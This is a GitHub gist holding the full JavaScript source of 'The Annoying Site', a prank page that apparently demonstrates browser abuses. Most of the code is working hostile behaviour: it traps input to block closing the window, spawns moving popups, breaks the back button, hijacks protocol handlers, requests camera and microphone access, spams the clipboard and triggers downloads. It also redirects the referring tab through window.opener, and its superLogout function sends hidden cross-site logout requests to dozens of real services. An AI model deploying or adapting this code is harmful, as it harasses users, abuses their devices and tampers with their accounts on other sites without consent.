Skip to content

Instantly share code, notes, and snippets.

@adnanh
Created December 24, 2018 12:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save adnanh/6ab3f29eda95651a2c5ebbce703f9488 to your computer and use it in GitHub Desktop.
Save adnanh/6ab3f29eda95651a2c5ebbce703f9488 to your computer and use it in GitHub Desktop.
/* global Element */
/**
* The Annoying Site
* https://theannoyingsite.com
*
* Author:
* Feross Aboukhadijeh
* https://feross.org
*
* Patreon:
* If you enjoyed this, please support me on Patreon!
* https://www.patreon.com/feross
*/
const SCREEN_WIDTH = window.screen.availWidth
const SCREEN_HEIGHT = window.screen.availHeight
const WIN_WIDTH = 480
const WIN_HEIGHT = 260
const VELOCITY = 15
const MARGIN = 10
const TICK_LENGTH = 50
const HIDDEN_STYLE = 'position: fixed; width: 1px; height: 1px; overflow: hidden; top: -10px; left: -10px;'
const ART = [
`
┊┊ ☆┊┊┊┊☆┊┊☆ ┊┊┊┊┊
┈┈┈┈╭━━━━━━╮┊☆ ┊┊
┈☆ ┈┈┃╳╳╳▕╲▂▂╱▏┊┊
┈┈☆ ┈┃╳╳╳▕▏▍▕▍▏┊┊
┈┈╰━┫╳╳╳▕▏╰┻╯▏┊┊
☆ ┈┈┈┃╳╳╳╳╲▂▂╱┊┊┊
┊┊☆┊╰┳┳━━┳┳╯┊ ┊ ☆┊
`,
`
░░▓▓░░░░░░░░▓▓░░
░▓▒▒▓░░░░░░▓▒▒▓░
░▓▒▒▒▓░░░░▓▒▒▒▓░
░▓▒▒▒▒▓▓▓▓▒▒▒▒▓░
░▓▒▒▒▒▒▒▒▒▒▒▒▒▒▓
▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓
▓▒▒▒░▓▒▒▒▒▒░▓▒▒▓
▓▒▒▒▓▓▒▒▒▓▒▓▓▒▒▓
▓▒░░▒▒▒▒▒▒▒▒▒░░▓
▓▒░░▒▓▒▒▓▒▒▓▒░░▓
░▓▒▒▒▓▓▓▓▓▓▓▒▒▓░
░░▓▒▒▒▒▒▒▒▒▒▒▓░░
░░░▓▓▓▓▓▓▓▓▓▓░░░
`
]
const SEARCHES = [
'where should i bury the body',
'why does my eye twitch',
'why is my poop green',
'why do i feel so empty',
'why do i always feel hungry',
'why do i always have diarrhea',
'why does my anus itch',
'why does my belly button smell',
'why does my cat attack me',
'why does my dog eat poop',
'why does my fart smell so bad',
'why does my mom hate me',
'why does my pee smell bad',
'why does my poop float',
'proof that the earth is flat'
]
const VIDEOS = [
'albundy.mp4',
'badger.mp4',
'cat.mp4',
'hasan.mp4',
'heman.mp4',
'jozin.mp4',
'nyan.mp4',
'rickroll.mp4',
'space.mp4',
'trolol.mp4'
]
const FILE_DOWNLOADS = [
'cat-blue-eyes.jpg',
'cat-ceiling.jpg',
'cat-crosseyes.jpg',
'cat-cute.jpg',
'cat-hover.jpg',
'cat-marshmellows.jpg',
'cat-small-face.jpg',
'cat-smirk.jpg',
'patreon.png'
]
const PHRASES = [
'The wheels on the bus go round and round, round and round, round and round. The wheels on the bus go round and round, all through the town!',
'Dibidi ba didi dou dou, Di ba didi dou, Didi didldildidldidl houdihoudi dey dou',
'I like fuzzy kittycats, warm eyes, and pretending household appliances have feelings',
'I\'ve never seen the inside of my own mouth because it scares me to death.',
'hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw',
'abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak',
'eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo'
]
const LOGOUT_SITES = {
'AOL': ['GET', 'https://my.screenname.aol.com/_cqr/logout/mcLogout.psp?sitedomain=startpage.aol.com&authLev=0&lang=en&locale=us'],
'AOL 2': ['GET', 'https://api.screenname.aol.com/auth/logout?state=snslogout&r=' + Math.random()],
'Amazon': ['GET', 'https://www.amazon.com/gp/flex/sign-out.html?action=sign-out'],
'Blogger': ['GET', 'https://www.blogger.com/logout.g'],
'Delicious': ['GET', 'https://www.delicious.com/logout'], // works!
'DeviantART': ['POST', 'https://www.deviantart.com/users/logout'],
'DreamHost': ['GET', 'https://panel.dreamhost.com/index.cgi?Nscmd=Nlogout'],
'Dropbox': ['GET', 'https://www.dropbox.com/logout'],
'eBay': ['GET', 'https://signin.ebay.com/ws/eBayISAPI.dll?SignIn'],
'Gandi': ['GET', 'https://www.gandi.net/login/out'],
'GitHub': ['GET', 'https://github.com/logout'],
'GMail': ['GET', 'https://mail.google.com/mail/?logout'],
'Google': ['GET', 'https://www.google.com/accounts/Logout'], // works!
'Hulu': ['GET', 'https://secure.hulu.com/logout'],
'Instapaper': ['GET', 'https://www.instapaper.com/user/logout'],
'Linode': ['GET', 'https://manager.linode.com/session/logout'],
'LiveJournal': ['POST', 'https://www.livejournal.com/logout.bml', {'action:killall': '1'}],
'MySpace': ['GET', 'https://www.myspace.com/index.cfm?fuseaction=signout'],
'NetFlix': ['GET', 'https://www.netflix.com/Logout'],
'New York Times': ['GET', 'https://www.nytimes.com/logout'],
'Newegg': ['GET', 'https://secure.newegg.com/NewMyAccount/AccountLogout.aspx'],
'Photobucket': ['GET', 'https://photobucket.com/logout'],
'Skype': ['GET', 'https://secure.skype.com/account/logout'],
'Slashdot': ['GET', 'https://slashdot.org/my/logout'],
'SoundCloud': ['GET', 'https://soundcloud.com/logout'],
'Steam Community': ['GET', 'https://steamcommunity.com/?action=doLogout'],
'Steam Store': ['GET', 'https://store.steampowered.com/logout/'],
'ThinkGeek': ['GET', 'https://www.thinkgeek.com/brain/account/login.cgi?a=lo'],
'Threadless': ['GET', 'https://www.threadless.com/logout'],
'Tumblr': ['GET', 'https://www.tumblr.com/logout'],
'Vimeo': ['GET', 'https://vimeo.com/log_out'],
'Wikipedia': ['GET', 'https://en.wikipedia.org/w/index.php?title=Special:UserLogout'],
'Windows Live': ['GET', 'https://login.live.com/logout.srf'],
'Woot': ['GET', 'https://account.woot.com/logout'],
'Wordpress': ['GET', 'https://wordpress.com/wp-login.php?action=logout'],
'Yahoo': ['GET', 'https://login.yahoo.com/config/login?.src=fpctx&logout=1&.direct=1&.done=https://www.yahoo.com/'],
'YouTube': ['POST', 'https://www.youtube.com', {'action_logout': '1'}]
}
/**
* Array to store the child windows spawned by this window.
*/
const wins = []
/**
* Count of number of clicks
*/
let interactionCount = 0
/**
* Number of iframes injected into the page for the "super logout" functionality.
* See superLogout().
*/
let numSuperLogoutIframes = 0
/**
* Is this window a child window? A window is a child window if there exists a
* parent window (i.e. the window was opened by another window so `window.opener`
* is set) *AND* that parent is a window on the same origin (i.e. the window was
* opened by us, not an external website)
*/
const isChildWindow = (window.opener && isParentSameOrigin()) ||
window.location.search.indexOf('child=true') !== -1
/**
* Is this window a parent window?
*/
const isParentWindow = !isChildWindow
/*
* Run this code in all windows, *both* child and parent windows.
*/
init()
/*
* Use `window.opener` to detect if this window was opened by another window, which
* will be its parent. The `window.opener` variable is a reference to the parent
* window.
*/
if (isChildWindow) initChildWindow()
else initParentWindow()
/**
* Initialization code for *both* parent and child windows.
*/
function init () {
confirmPageUnload()
registerProtocolHandlers()
interceptUserInput(event => {
interactionCount += 1
// Prevent default behavior (breaks closing window shortcuts)
event.preventDefault()
event.stopPropagation()
startVibrateInterval()
enablePictureInPicture()
triggerFileDownload()
focusWindows()
copySpamToClipboard()
speak()
// Capture key presses on the Command or Control keys, to interfere with the
// "Close Window" shortcut.
if (event.key === 'Meta' || event.key === 'Control') {
showModal()
} else {
if (isParentWindow && Math.random() < 0.20) requestFullscreen()
else requestCameraAndMic()
}
// 'touchstart' and 'touchend' events are not able to open a new window
// (at least in Chrome), so don't even try. Checking `event.which !== 0` is just
// a clever way to exclude touch events.
if (event.which !== 0) openWindow()
})
}
/**
* Initialization code for child windows.
*/
function initChildWindow () {
hideCursor()
moveWindowBounce()
startVideo()
detectWindowClose()
triggerFileDownload()
speak()
interceptUserInput(event => {
if (interactionCount === 1) {
startAlertInterval()
}
})
}
/**
* Initialization code for parent windows.
*/
function initParentWindow () {
showHelloMessage()
blockBackButton()
fillHistory()
startInvisiblePictureInPictureVideo()
interceptUserInput(event => {
// Only run these on the first interaction
if (interactionCount === 1) {
attemptToTakeoverReferrerWindow()
hideCursor()
startVideo()
startAlertInterval()
superLogout()
removeHelloMessage()
}
})
}
/**
* Sites that link to theannoyingsite.com may specify `target='_blank'` to open the
* link in a new window. For example, Messenger.com from Facebook does this.
* However, that means that `window.opener` will be set, which allows us to redirect
* that window. YES, WE CAN REDIRECT THE SITE THAT LINKED TO US.
* Learn more here: https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/
*/
function attemptToTakeoverReferrerWindow () {
if (isParentWindow && window.opener && !isParentSameOrigin()) {
window.opener.location = `${window.location.origin}/?child=true`
}
}
/**
* Returns true if the parent window is on the same origin. It's not enough to check
* that `window.opener` is set, because that will also get set if a site on a
* different origin links to theannoyingsite.com with `target='_blank'`.
*/
function isParentSameOrigin () {
try {
// May throw an exception if `window.opener` is on another origin
return window.opener.location.origin === window.location.origin
} catch (err) {
return false
}
}
/**
* Ask the user "are you sure you want to leave this page?". In most browsers,
* this will not actually do anything unless the user has at least one interaction
* with the page before they close it.
*/
function confirmPageUnload () {
window.addEventListener('beforeunload', event => {
speak('Please don\'t go!')
event.returnValue = true
})
}
/**
* Attempt to register all possible browser-whitelisted protocols to be handled by
* this web app instead of their default handlers.
*/
function registerProtocolHandlers () {
if (typeof navigator.registerProtocolHandler !== 'function') return
const protocolWhitelist = [
'bitcoin',
'geo',
'im',
'irc',
'ircs',
'magnet',
'mailto',
'mms',
'news',
'ircs',
'nntp',
'sip',
'sms',
'smsto',
'ssh',
'tel',
'urn',
'webcal',
'wtai',
'xmpp'
]
const handlerUrl = window.location.href + '/url=%s'
protocolWhitelist.forEach(proto => {
navigator.registerProtocolHandler(proto, handlerUrl, 'The Annoying Site')
})
}
/**
* Attempt to access the user's camera and microphone, and attempt to enable the
* torch (i.e. camera flash) if the device has one.
*/
function requestCameraAndMic () {
if (!navigator.mediaDevices ||
typeof navigator.mediaDevices.getUserMedia !== 'function') {
return
}
navigator.mediaDevices.enumerateDevices().then(devices => {
const cameras = devices.filter((device) => device.kind === 'videoinput')
if (cameras.length === 0) return
const camera = cameras[cameras.length - 1]
navigator.mediaDevices.getUserMedia({
deviceId: camera.deviceId,
facingMode: ['user', 'environment'],
audio: true,
video: true
}).then(stream => {
const track = stream.getVideoTracks()[0]
const imageCapture = new window.ImageCapture(track)
imageCapture.getPhotoCapabilities().then(() => {
// Let there be light!
track.applyConstraints({ advanced: [{torch: true}] })
}, () => { /* No torch on this device */ })
}, () => { /* ignore errors */ })
})
}
/**
* Start vibrating the device at random intervals, on supported devices.
* Requires user-initiated event.
*/
function startVibrateInterval () {
if (typeof window.navigator.vibrate !== 'function') return
setInterval(() => {
const duration = Math.floor(Math.random() * 600)
window.navigator.vibrate(duration)
}, 1000)
}
/**
* Intercept all user-initiated events and call the given the function, `onInput`.
*/
function interceptUserInput (onInput) {
document.body.addEventListener('touchstart', onInput, { passive: false })
document.body.addEventListener('mousedown', onInput)
document.body.addEventListener('mouseup', onInput)
document.body.addEventListener('click', onInput)
document.body.addEventListener('keydown', onInput)
document.body.addEventListener('keyup', onInput)
document.body.addEventListener('keypress', onInput)
}
/**
* Start an invisible, muted video so we have a one ready to put into
* picture-in-picture mode on the first user-interaction.
*/
function startInvisiblePictureInPictureVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.autoplay = true
video.loop = true
video.muted = true
video.style = HIDDEN_STYLE
document.body.appendChild(video)
}
/**
* Active Safari's picture-in-picture feature, which let's show a video on the
* desktop. Requires user-initiated event.
*/
function enablePictureInPicture () {
const video = document.querySelector('video')
if (video.webkitSetPresentationMode) {
video.muted = false
video.webkitSetPresentationMode('picture-in-picture')
}
}
/**
* Focus all child windows. Requires user-initiated event.
*/
function focusWindows () {
wins.forEach(win => {
if (!win.closed) win.focus()
})
}
/**
* Open a new popup window. Requires user-initiated event.
*/
function openWindow () {
const { x, y } = getRandomCoords()
const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
const win = window.open(window.location.pathname, '', opts)
// New windows may be blocked by the popup blocker
if (!win) return
wins.push(win)
if (wins.length === 2) setupSearchWindow(win)
}
/**
* Hide the user's cursor!
*/
function hideCursor () {
document.querySelector('html').style = 'cursor: none;'
}
/**
* Trigger a file download immediately. One file download is allowed *without* user
* interaction. Further file downloads should happen in response to a user-initiated
* event or they will be blocked.
*/
function triggerFileDownload () {
const fileName = getRandomArrayEntry(FILE_DOWNLOADS)
const a = document.createElement('a')
a.href = fileName
a.download = fileName
a.click()
}
function speak (phrase) {
if (phrase == null) phrase = getRandomArrayEntry(PHRASES)
window.speechSynthesis.speak(new window.SpeechSynthesisUtterance(phrase))
}
/**
* Move the window around the screen and bounce off of the screen edges.
*/
function moveWindowBounce () {
let vx = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
let vy = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
window.setInterval(() => {
const x = window.screenX
const y = window.screenY
const width = window.outerWidth
const height = window.outerHeight
if (x < MARGIN) vx = Math.abs(vx)
if (x + width > SCREEN_WIDTH - MARGIN) vx = -1 * Math.abs(vx)
if (y < MARGIN + 20) vy = Math.abs(vy)
if (y + height > SCREEN_HEIGHT - MARGIN) vy = -1 * Math.abs(vy)
window.moveBy(vx, vy)
}, TICK_LENGTH)
}
/**
* Show a random troll video in the window.
*/
function startVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.autoplay = true
video.loop = true
video.style = 'width: 100%; height: 100%;'
document.body.appendChild(video)
}
/**
* When a child window closes, notify the parent window so it can remove it from
* the list of child windows.
*/
function detectWindowClose () {
window.addEventListener('unload', () => {
if (!window.opener.closed) window.opener.onCloseWindow(window)
})
}
/**
* Handle a child window closing.
*/
function onCloseWindow (win) {
const i = wins.indexOf(win)
if (i >= 0) wins.splice(i, 1)
}
/**
* Show the unsuspecting user a friendly hello message with a cat.
*/
function showHelloMessage () {
const template = document.querySelector('template')
const clone = document.importNode(template.content, true)
document.body.appendChild(clone)
}
/**
* Remove the hello message.
*/
function removeHelloMessage () {
const helloMessage = document.querySelector('.hello-message')
helloMessage.remove()
}
/**
* Copy cat pictures onto the user's clipboard. Requires user-initiated event.
*/
function copySpamToClipboard () {
const randomArt = getRandomArrayEntry(ART) + '\nCheck out https://theannoyingsite.com'
clipboardCopy(randomArt)
}
/**
* Copy given text, `text`, onto the user's clipboard.
* Requires user-initiated event.
*/
function clipboardCopy (text) {
// A <span> contains the text to copy
var span = document.createElement('span')
span.textContent = text
span.style.whiteSpace = 'pre' // Preserve consecutive spaces and newlines
// An <iframe> isolates the <span> from the page's styles
var iframe = document.createElement('iframe')
iframe.sandbox = 'allow-same-origin'
document.body.appendChild(iframe)
var win = iframe.contentWindow
win.document.body.appendChild(span)
var selection = win.getSelection()
// Firefox fails to get a selection from <iframe> window, so fallback
if (!selection) {
win = window
selection = win.getSelection()
document.body.appendChild(span)
}
var range = win.document.createRange()
selection.removeAllRanges()
range.selectNode(span)
selection.addRange(range)
var success = false
try {
success = win.document.execCommand('copy')
} catch (err) {
console.log(err)
}
selection.removeAllRanges()
span.remove()
iframe.remove()
return success
}
/**
* Show an alert dialog at a regular interval
*/
function startAlertInterval () {
setInterval(() => {
showModal()
}, 30000)
}
/**
* Show a modal dialog. Modals capture focus from other OS apps and browser tabs.
* Except in Chrome 64+, where modals can only capture focus from other OS apps,
* but not from other tabs.
*/
function showModal () {
if (Math.random() < 0.5) {
showAlert()
} else {
window.print()
}
}
/**
* Show an alert with 1000's of lines of cat ASCII art.
*/
function showAlert () {
const randomArt = getRandomArrayEntry(ART)
const longAlertText = Array(200).join(randomArt)
window.alert(longAlertText)
}
/**
* Fullscreen the browser window
*/
function requestFullscreen () {
const requestFullscreen = Element.prototype.requestFullscreen ||
Element.prototype.webkitRequestFullscreen ||
Element.prototype.mozRequestFullScreen ||
Element.prototype.msRequestFullscreen
requestFullscreen.call(document.body)
}
/**
* Log the user out of top sites they're logged into, including Google.com.
* Inspired by https://superlogout.com
*/
function superLogout () {
function cleanup (el, delayCleanup) {
if (delayCleanup) {
delayCleanup = false
return
}
el.parentNode.removeChild(el)
}
function get (url) {
const img = document.createElement('img')
img.onload = () => cleanup(img)
img.onerror = () => cleanup(img)
img.style = HIDDEN_STYLE
document.body.appendChild(img)
img.src = url
}
function post (url, params) {
var iframe = document.createElement('iframe')
iframe.style = HIDDEN_STYLE
iframe.name = 'iframe' + numSuperLogoutIframes
document.body.appendChild(iframe)
numSuperLogoutIframes += 1
const form = document.createElement('form')
form.style = HIDDEN_STYLE
let numLoads = 0
iframe.onload = iframe.onerror = () => {
if (numLoads >= 1) cleanup(iframe)
numLoads += 1
}
form.action = url
form.method = 'POST'
form.target = iframe.name
for (const param in params) {
if (params.hasOwnProperty(param)) {
const input = document.createElement('input')
input.type = 'hidden'
input.name = param
input.value = params[param]
form.appendChild(input)
}
}
document.body.appendChild(form)
form.submit()
}
for (let name in LOGOUT_SITES) {
const method = LOGOUT_SITES[name][0]
const url = LOGOUT_SITES[name][1]
const params = LOGOUT_SITES[name][2] || {}
if (method === 'GET') {
get(url)
} else {
post(url, params)
}
const div = document.createElement('div')
div.innerText = `Logging you out from ${name}...`
const logoutMessages = document.querySelector('.logout-messages')
logoutMessages.appendChild(div)
}
}
/**
* Disable the back button. If the user goes back, send them one page forward ;-)
*/
function blockBackButton () {
window.addEventListener('popstate', () => {
window.history.forward()
})
}
/**
* Fill the history with extra entries for this site, to make it harder to find
* the previous site in the back button's dropdown menu.
*/
function fillHistory () {
for (let i = 1; i < 20; i++) {
window.history.pushState({}, '', window.location.pathname + '?q=' + i)
}
// Set location back to the initial location, so user does not notice
window.history.pushState({}, '', window.location.pathname)
}
/**
* Get random x, y coordinates for a new window on the screen. Takes into account
* screen size, window size, and leaves a safe margin on all sides.
*/
function getRandomCoords () {
const x = MARGIN +
Math.floor(Math.random() * (SCREEN_WIDTH - WIN_WIDTH - MARGIN))
const y = MARGIN +
Math.floor(Math.random() * (SCREEN_HEIGHT - WIN_HEIGHT - MARGIN))
return { x, y }
}
/**
* Get a random element from a given array, `arr`.
*/
function getRandomArrayEntry (arr) {
return arr[Math.floor(Math.random() * arr.length)]
}
// TODO: document this
function setupSearchWindow (win) {
if (!win) return
win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[0])
let searchIndex = 1
let interval = setInterval(() => {
if (searchIndex >= SEARCHES.length) {
clearInterval(interval)
win.window.location = window.location.pathname
return
}
if (win.closed) {
clearInterval(interval)
onCloseWindow(win)
return
}
win.window.location = window.location.pathname
setTimeout(() => {
const { x, y } = getRandomCoords()
win.moveTo(x, y)
win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[searchIndex])
searchIndex += 1
}, 500)
}, 2500)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment